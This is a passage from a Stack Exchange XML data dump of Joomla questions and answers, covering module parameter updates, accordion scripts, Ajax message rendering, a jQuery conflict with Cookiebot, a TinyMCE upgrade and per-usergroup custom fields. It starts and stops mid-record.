}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13982" LastEditorUserId="13982" LastEditDate="2019-12-31T10:21:52.387" LastActivityDate="2019-12-31T10:21:52.387" Title="Converting to JS" Tags="|joomla-3.x|php|javascript|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26604" PostTypeId="2" ParentId="26375" CreationDate="2020-01-01T15:30:32.737" Score="2" Body="&lt;p&gt;Although you could do this by direct database operations, when performing CRUD operations on records of Joomla core components it's best to use the Joomla Table class functionality, as this enables any associated data (eg data which is managed by plugins which register to receive notifications of record updates) to be updated. You can read about Table functionality in &lt;a href=&quot;https://docs.joomla.org/Table_Basic_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Table_Basic_API_Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the Table code is in /libraries/src/Table/Table.php (post Joomla 3.8 ish) and it's worth checking if there's another php file there which reflects the Joomla table you're updating, as there could be additional functionality in the specific class which extends Joomla Table. In this case there's Module.php and so we should use the Module class in that. (Edit update: Actually, the getInstance() function called below will search the same directory to find the Module class we need, so we could call it using Table::getInstance('Module').)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To handle the update of the json string in the params field in the module record it's easiest to use the Joomla  Registry (see &lt;a href=&quot;https://github.com/joomla-framework/registry&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework/registry&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally you need to determine how you're going to identify the record you want to update. If you don't already know the id then you might need to do a database query (as described in &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;) to find it based on what you know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below should work once you plug in the value of the record id. (Although, it doesn't check if the record is already checked out to a user for edit, which, albeit unlikely, maybe you want to check).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Table\Module;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;$id = 1;  // plug in your own value here&#xA;$m = Module::getInstance(&quot;Module&quot;);&#xA;$m-&amp;gt;load($id);&#xA;if ($m)&#xA;{    // found the record&#xA;    $moduleParams = new Registry($m-&amp;gt;params); // convert params string to Registry&#xA;    $currentClassSfx = $moduleParams-&amp;gt;get(&quot;class_sfx&quot;, &quot;&quot;);  &#xA;    $newClassSfx = $currentClassSfx . &quot; myclass&quot;;  // or check if it's already present?&#xA;    $moduleParams-&amp;gt;set(&quot;class_sfx&quot;, $newClassSfx);&#xA;    $newParams = (string) $moduleParams;   // convert Registry to json string&#xA;    $m-&amp;gt;bind(array(&quot;params&quot; =&amp;gt; $newParams));&#xA;    $m-&amp;gt;check();&#xA;    $m-&amp;gt;store();&#xA;}&#xA;else&#xA;{&#xA;    // handle the case when the record isn't found&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-01-03T08:23:13.500" LastActivityDate="2020-01-03T08:23:13.500" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26605" PostTypeId="1" CreationDate="2020-01-02T10:46:24.643" Score="0" ViewCount="402" Body="&lt;p&gt;I created Accordion HTML code for certain element in Joomla builder, but some of the Accordion is not working. FYI, all the Accordion code is in the same page. For first element is working fine, but the second is not. Even though I used the same method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&amp;gt;&#xA;    &amp;lt;style&amp;gt;&#xA;    .accordion {&#xA;      background-color: #E1F0E6;&#xA;      color: #003F77;&#xA;      cursor: pointer;&#xA;      padding: 18px;&#xA;      width: 100%;&#xA;      border: none;&#xA;      text-align: left;&#xA;      outline: none;&#xA;      font-size: 15px;&#xA;      transition: 0.4s;&#xA;    }&#xA;&#xA;    .active, .accordion:hover {&#xA;      background-color: #A3C1AD;&#xA;    }&#xA;&#xA;    .accordion:after {&#xA;      text-align: justify;&#xA;      content: '\002B';&#xA;      color: #003F77;&#xA;      font-weight: bold;&#xA;      float: right;&#xA;      margin-left: 5px;&#xA;    }&#xA;&#xA;    .active:after {&#xA;      content: &quot;\2212&quot;;&#xA;    }&#xA;&#xA;    .panel {&#xA;      padding: 0 18px;&#xA;      background-color: white;&#xA;      max-height: 0;&#xA;      overflow: hidden;&#xA;      transition: max-height 0.2s ease-out;&#xA;    }&#xA;    &amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;script&amp;gt;&#xA;    var acc = document.getElementsByClassName(&quot;accordion&quot;);&#xA;    var i;&#xA;&#xA;    for (i = 0; i &amp;lt; acc.length; i++) {&#xA;      acc[i].addEventListener(&quot;click&quot;, function() {&#xA;        this.classList.toggle(&quot;active&quot;);&#xA;        var panel = this.nextElementSibling;&#xA;        if (panel.style.maxHeight) {&#xA;          panel.style.maxHeight = null;&#xA;        } else {&#xA;          panel.style.maxHeight = panel.scrollHeight + &quot;px&quot;;&#xA;        } &#xA;      });&#xA;    }&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;script&amp;gt;&#xA;    var acc = document.getElementsByClassName(&quot;accordion&quot;);&#xA;    var i;&#xA;&#xA;    for (i = 0; i &amp;lt; acc.length; i++) {&#xA;      acc[i].addEventListener(&quot;click&quot;, function() {&#xA;        this.classList.toggle(&quot;active&quot;);&#xA;        var panel = this.nextElementSibling;&#xA;        if (panel.style.maxHeight) {&#xA;          panel.style.maxHeight = null;&#xA;        } else {&#xA;          panel.style.maxHeight = panel.scrollHeight + &quot;px&quot;;&#xA;        } &#xA;      });&#xA;    }&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone can help me for this matters? :)&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14019" LastEditorUserId="13028" LastEditDate="2020-01-12T08:19:00.960" LastActivityDate="2020-01-12T08:19:00.960" Title="Another Accordion not functioning" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="10" ClosedDate="2020-01-07T11:57:17.713" ContentLicense="CC BY-SA 4.0" />
  <row Id="26606" PostTypeId="2" ParentId="26598" CreationDate="2020-01-02T12:31:23.780" Score="3" Body="&lt;p&gt;When you say &quot;display it into enqueuemessage&quot; I'm assuming that you want to display it in the same message area that enqueueMessage displays in. You can do that in your javascript by calling &lt;code&gt;Joomla.renderMessages()&lt;/code&gt;, which is a function in the Joomla core.js source file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to get it to work is to use the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Response.JsonResponse.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JResponseJson&lt;/a&gt; class to handle the JSON response. See &lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JSON_Responses_with_JResponseJson&lt;/a&gt; for a description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your Ajax handling server code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$app = Factory::getApplication();  &#xA;$app-&amp;gt;enqueueMessage(&quot;Enqueued notice&quot;, &quot;notice&quot;);&#xA;echo new JResponseJson(&quot;some response data&quot;, &quot;some response message&quot;, false, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Provided the 4th parameter (&lt;code&gt;$ignoreMessages&lt;/code&gt; in the API) is set to false (and it is false by default), JResponseJson will copy the enqueued messages into the Ajax response (and clear them from the session).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above will result in an Ajax response &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&quot;success&quot;:true,&quot;message&quot;:&quot;some response message&quot;,&quot;messages&quot;:{&quot;notice&quot;:[&quot;Enqueued notice&quot;]},&quot;data&quot;:&quot;some response data&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your javascript code which handles the Ajax you can do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({   &#xA;    … // your request data&#xA;    })&#xA;    .done(function(result, textStatus, jqXHR)&#xA;    {&#xA;        ...&#xA;        Joomla.renderMessages(result.messages);&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find the code of a sample component demonstrating this at &lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson#Sample_Component_Code&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JSON_Responses_with_JResponseJson#Sample_Component_Code&lt;/a&gt;. I verified that this worked on my Joomla4 instance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't use JResponseJson, then provided you've got the messages section of the Ajax response JSON-encoded in the same way as JResponseJson does, then you can obviously still use &lt;code&gt;Joomla.renderMessages()&lt;/code&gt; on it. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-01-02T12:31:23.780" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26607" PostTypeId="1" CreationDate="2020-01-02T12:56:14.700" Score="1" ViewCount="375" Body="&lt;p&gt;I am trying to install a cookie library on a site. We are getting jQuery is not defined from the cookie library. Presumably because it is being loaded before the jQuery library. The jQuery library is being brought in through easy jQuery module I believe. I have tried to just add the jQuery CDN instead but that is not pulling through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: $ is not a function at centerScreen (eval at CookieControl.Dialog.globalEval&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the best option here? The module says that it needs to be installed at the end. I am not familiar with Joomla so it is making this complicated&lt;/p&gt;&#xA;" OwnerUserId="13973" LastEditorUserId="12524" LastEditDate="2020-01-03T19:20:05.693" LastActivityDate="2021-06-08T14:01:30.150" Title="Issues with cookie bot on Joomla 3x and jQuery" Tags="|joomla-3.x|jquery|joomla-3.9|cookies|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26609" PostTypeId="2" ParentId="26607" CreationDate="2020-01-03T16:30:18.163" Score="1" Body="&lt;p&gt;I'm still a little bit blind regarding your issue but I try to give you some direction and maybe we could solve this. There are many ways to add cookiebot to the site, I have never used Google Tag Manager for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First about the error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: $ is not a function at...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you see the above error in the console then it means that the jQuery shorthand/alias &lt;code&gt;$&lt;/code&gt; variable is unavailable, thus not defined as &lt;code&gt;jQuery&lt;/code&gt;. Then a jQuery script that wants to use that variable as jQuery cannot run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But it usually does not mean that the jQuery library is not loaded on the page.&lt;/strong&gt; It usually means that someone wrote a jQuery script without giving enough attention to the above possible issue.  And it means that &lt;strong&gt;jQuery library&lt;/strong&gt; is loaded in &lt;strong&gt;noConflict()&lt;/strong&gt; mode as it is the case in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So adding only 1 or 2 lines to a jQuery script could solve this problem, however in your case I'm not sure that you can write in the jQuery code which is running on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In your case,&lt;/strong&gt; if you go to &lt;strong&gt;your template folder&lt;/strong&gt; (of your default site template) in Joomla with any code editor and open the &lt;code&gt;index.php&lt;/code&gt; file and after the line &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; (but before the closing &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag), place the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var $ = jQuery; // or var $ = jQuery.noConflict(); // both can work&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one line above defines &lt;code&gt;$&lt;/code&gt; variable again for jQuery and the error from the console should be gone actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this is not a nicest solution since this issue should be handled in the jQuery script itself but this is a solution now and most probably will not cause any more issues later (warning: if the template will be updated this edited part will be overridden by the update).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you can check and edit the problematic jQuery script&lt;/strong&gt; then you should start/wrap the jQuery function for example like this to be able to use &lt;code&gt;$&lt;/code&gt; inside the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function ($) { &#xA;    // ... all your jQuery code can use now $ inside the function ... &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could also write about all of the methods how you can load the jQuery framework in Joomla &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; but the jQuery library is already loaded on your pages so that is not the problem (even if it is a bit outdated version). You can read about that here if you would like to: &lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_JavaScript&lt;/a&gt; , more precisely: &lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Javascript_Frameworks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I also do not consider at all the sequence of loading the libraries would be a problem of your issue, since as I see Cookiebot main scripts do not use jQuery).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other possible cause&lt;/strong&gt; of JavaScript conflicts in Joomla when &lt;strong&gt;jQuery libraries&lt;/strong&gt; loaded together with &lt;strong&gt;mootols JavaScript libraries&lt;/strong&gt; for example. You can experience quite weird behaviors without getting any errors in the console. You have to carefully check the loaded JavaScript libraries in the head and you have to disable other JavaScript libraries if you meet with these situations to see if that can help to solve the problem. So the problem with JavaScript libraries is that you cannot use some of them together when each of them tries to use &lt;code&gt;$&lt;/code&gt; variable on the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that this simple edit can help you to handle the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More reference about this jQuery subject:&lt;/strong&gt; &lt;a href=&quot;https://api.jquery.com/jQuery.noConflict/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.jquery.com/jQuery.noConflict/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For alternative solution, you maybe would give a try for using a free third party Joomla plugin to add Cookiebot, for example: &lt;a href=&quot;https://www.schrijvers123.nl/joomla/cookiebot/cookiebot-for-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.schrijvers123.nl/joomla/cookiebot/cookiebot-for-joomla&lt;/a&gt; (I have not checked this more deeply, but it looks like a simple, useful plugin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can also study a bit more about how to modify the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of the documents in Joomla if needed: &lt;a href=&quot;https://joomla.stackexchange.com/questions/26497/modification-of-the-generated-joomla-head-jdocinclude-type-head/26498#26498&quot;&gt;Modification of the generated Joomla head (&amp;lt;jdoc:include type=&amp;quot;head&amp;quot; /&amp;gt;)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now I had some extra time&lt;/strong&gt; and I have checked this issue a little more and I have found some interesting things about why the above is not a solution, but more importantly why the original question and problem is misleading in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the plugin I suggested above and &lt;strong&gt;I added Cookiebot&lt;/strong&gt; to one of my test site to see how that works, and it took no more than like 6-8 minutes to get a fully working cookiebot on the website (using that third party Joomla plugin). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cookiebot worked without using any jQuery library at all.&lt;/strong&gt; For testing this, I unset all of the jQuery libraries from the test site so there was not a chance for jQuery at all. Cookiebot was working without any problem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;I have not found any&lt;/strong&gt; point about loading jQuery libraries in the installation guide on Cookiebot official page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;If jQuery were needed&lt;/strong&gt; for anything please load all of the 3 jQuery libraries on the page: jQuery core, jQuery UI and jQuery migrate. I mean if Google Tag Manager requires jQuery.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2020-01-15T11:17:58.263" LastActivityDate="2020-01-15T11:17:58.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26610" PostTypeId="1" CreationDate="2020-01-04T06:36:44.080" Score="2" ViewCount="319" Body="&lt;p&gt;The current latest Joomla! v3.9.14 (August 2019)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The integrated tinymce is v4.5.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tinymce released the new V.5.0.0 in February 2019, including major improvements and a great new API&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use a plugin written with the new V5 API in Joomla!, so I wondered if it's possible to upgrade Tinymce to V5 in Joomla, or if we have no choice but to still use the old ugly Tinymce v4.x?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to replace/edit files in media/editors/tinymce, just to see if it could lead to something, but of course it doesn't seem to be the right direction.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastActivityDate="2020-01-04T08:47:27.383" Title="Is it possible to upgrade Tinymce to v5.x in Joomla?" Tags="|joomla-3.x|tinymce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26611" PostTypeId="2" ParentId="26610" CreationDate="2020-01-04T08:01:56.477" Score="2" Body="&lt;p&gt;(&lt;a href=&quot;https://stackoverflow.com/a/59587033/2943403&quot;&gt;Replicated response from Stack Overflow&lt;/a&gt; per request)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than replacing the files (which could be overwritten in any future update), you're probably better off writing a new plugin for Joomla that installs Tiny 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code for the (v4) TinyMCE plugin is a good place to start to write your own - replicate how this plugin works, and you'll need to extend its functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing it this way also means you could choose to use the Cloud version of Tiny, meaning you don't need to host the files locally, and receive updates as Tiny push them live. You do need a Tiny API key for this, but IMO, I feel it is a smarter way to host Tiny given that even during 5's life in 2019, some really useful features have been deployed, and if you're hosting all the files yourself, you'll need to keep updating them as you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge with writing your own Tiny 5 Joomla plugin is that the core TinyMCE plugin for Joomla does not make it possible to have externally hosted Tiny plugins (such as a custom one you've created). So you would need to extend both the configuration and the instantiation to be able to store external plugin configuration, pull it in to Tiny's config, and also be able to manage your toolbars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At Joomla Day Australia 2019, I spoke about developing external plugins for Tiny 5 in Joomla 4 (video of presentation should be available online in early 2020), and have a plugin that uses the cloud version of Tiny, and allows for external plugin configuration - but this was for an alpha version of Joomla 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 4 will come with Tiny 5, and I did a pull request to get external plugins into the Editor config, so just waiting for Joomla 4 could be a more passive option.&lt;/p&gt;&#xA;" OwnerUserId="14026" LastEditorUserId="12352" LastEditDate="2020-01-04T08:47:27.383" LastActivityDate="2020-01-04T08:47:27.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26612" PostTypeId="1" CreationDate="2020-01-05T14:04:23.383" Score="1" ViewCount="99" Body="&lt;p&gt;I'm triing to use custom fields in users for personal details on members of a group, but I've got some &quot;system&quot; users that don't have these details. But everytime I want to edit these users I'm nagged with custom fields, have to disable, edit and enable again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to assign custom fields just to some usergroups? or to make them not required for some group/user...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2020-01-08T17:14:10.480" Title="Custom fields not for all usergroups" Tags="|custom-field|registration|com-users|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26613" PostTypeId="2" ParentId="14383" CreationDate="2020-01-06T11:45:56.200" Score="0" Body="&lt;p&gt;Not sure if this is this relevant, but there's an extension which basically redirects a user based on his Geographical Country Code. So in other words it takes the users IP address, looks up the country code and then redirects the user to a different menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension is called User GeoIP Location Menu Item redirect. See: &lt;a href=&quot;https://jdev.l-it.co.za/products/user-geoip-location-menu-item-redirect&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jdev.l-it.co.za/products/user-geoip-location-menu-item-redirect&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8948" LastActivityDate="2020-01-06T11:45:56.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26614" PostTypeId="2" ParentId="26605" CreationDate="2020-01-07T06:29:57.507" Score="1" Body="&lt;p&gt;The problem seems to be multiple accordions with the same class name if your code is doubled. Create all accordions above javascript at the bottom of the body and it should open all created. I put a row break in to separate the accordions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&amp;gt;&#xA;    &amp;lt;style&amp;gt;&#xA;.accordion {&#xA;  background-color: #E1F0E6;&#xA;  color: #003F77;&#xA;  cursor: pointer;&#xA;  padding: 18px;&#xA;  width: 100%;&#xA;  border: none;&#xA;  text-align: left;&#xA;  outline: none;&#xA;  font-size: 15px;&#xA;  transition: 0.4s;&#xA;}&#xA;&#xA;.active, .accordion:hover  {&#xA;  background-color: #A3C1AD;&#xA;}&#xA;&#xA;.accordion:after {&#xA;  text-align: justify;&#xA;  content: '\002B';&#xA;  color: #003F77;&#xA;  font-weight: bold;&#xA;  float: right;&#xA;  margin-left: 5px;&#xA;}&#xA;&#xA;.active:after {&#xA;  content: &quot;\2212&quot;;&#xA;}&#xA;&#xA;.panel {&#xA;  padding: 0 18px;&#xA;  background-color: white;&#xA;  max-height: 0;&#xA;  overflow: hidden;&#xA;  transition: max-height 0.2s ease-out;&#xA;}&#xA;&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;br /&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;button class=&quot;accordion&quot;&amp;gt;Question&amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Answer&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;script&amp;gt;&#xA;    var acc = document.getElementsByClassName(&quot;accordion&quot;);&#xA;    var i;&#xA;&#xA;    for (i = 0; i &amp;lt; acc.length; i++) {&#xA;      acc[i].addEventListener(&quot;click&quot;, function() {&#xA;        this.classList.toggle(&quot;active&quot;);&#xA;        var panel = this.nextElementSibling;&#xA;        if (panel.style.maxHeight) {&#xA;          panel.style.maxHeight = null;&#xA;        } else {&#xA;          panel.style.maxHeight = panel.scrollHeight + &quot;px&quot;;&#xA;        } &#xA;      });&#xA;    }&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2020-01-08T06:28:55.367" LastActivityDate="2020-01-08T06:28:55.367" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26615" PostTypeId="2" ParentId="26612" CreationDate="2020-01-07T20:22:44.590" Score="2" Body="&lt;p&gt;(This answer has been updated from the original which suggested hacking Joomla code, to this much better solution proposed in the comment below - thanks to @Irata!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla includes the custom fields by means of a plugin which is triggered on onContentPrepareForm. This solution involves writing a second plugin, also triggered on onContentPrepareForm, which removes the custom fields if the usergroup of the user being edited is within a predefined subset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code of the plugin – put in remove_custom_fields.php, but set the usergroups of your system users appropriately (ensuring the case and spacing for the names of the usergroups is correct). (You could also change the code to set the usergroup names via plugin config.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgUserRemove_Custom_Fields extends JPlugin&#xA;{&#xA;&#xA;public function onContentPrepareForm(JForm $form, $data)&#xA;{&#xA;    if (JFactory::getApplication()-&amp;gt;isClient('administrator') &amp;amp;&amp;amp; $form-&amp;gt;getName() == &quot;com_users.user&quot; 